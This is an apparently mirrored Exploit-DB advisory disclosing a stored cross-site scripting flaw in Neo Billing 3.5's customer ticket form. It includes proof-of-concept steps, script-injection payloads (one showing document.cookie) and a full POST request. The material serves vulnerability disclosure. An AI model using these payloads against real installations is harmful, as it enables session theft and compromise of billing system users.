Neo Billing 3.5 – Persistent Cross-Site Scripting

• Exploit Database
• 15 阅读

• 作者： n1x_
  日期： 2019-08-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47289/

• # Exploit Title: Neo Billing 3.5 - Stored Cross Site Scripting Vulnerability
  # Date: 18.8.2019.
  # Exploit Author: n1x_ [MS-WEB]
  # Vendor Homepage: https://codecanyon.net/item/neo-billing-accounting-invoicing-and-crm-software/20896547
  # Version: 3.5
  # CWE : CWE-79
  # CVE: CVE-2020-23518
  
  [Description]
  
  # Neo Billing os an accounting, invoicing and CRM PHP script, with over 500 installations.
  # Due to improper input fields data filtering, version 3.5 (and possibly previous versions), are affected by a stored XSS vulnerability. 
  
  [Proof of Concept]
  
  # 1. Authorizationas customer (regular user account) [//host/neo/crm/user/login]
  # 2. Closing an input field tag and injecting code into 'Subject' or 'Description' text fields [//host/neo/crm/tickets/addticket]
  # 3. The code is stored [//host/neo/crm/tickets] ∨ [//host/neo/crm/tickets/thread/?id=ticketid] 
  
  [Example paylods]
  
  # Example payload: "><img src="https://www.exploit-db.com/exploits/47289/x" onerror="alert('XSS');">
  # Example payload: "><script>alert(document.cookie)</script>
  
  [POST Request]
  
  POST /neo/crm/tickets/addticket HTTP/1.1
  Host: host
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Referer: //host/neo/crm/tickets/addticket
  Content-Type: multipart/form-data; boundary=---------------------------899768029113033755249127523
  Content-Length: 694
  Cookie: __cfduid=d99e93624fe63d5aa953bf59cd28cdafe1566123585; ci_sessions=nel35vfb2hi5f9tt29l43ogn36hdmilj
  Connection: close
  Upgrade-Insecure-Requests: 1
   
  -----------------------------899768029113033755249127523
  Content-Disposition: form-data; name="title"
   
  "><script>alert('XSS')</script>
  -----------------------------899768029113033755249127523
  Content-Disposition: form-data; name="content"
   
  <p>"><script>alert('XSS')</script><br></p>
  -----------------------------899768029113033755249127523
  Content-Disposition: form-data; name="files"; filename=""
  Content-Type: application/octet-stream
   
   
  -----------------------------899768029113033755249127523
  Content-Disposition: form-data; name="userfile"; filename=""
  Content-Type: application/octet-stream
   
   
  -----------------------------899768029113033755249127523--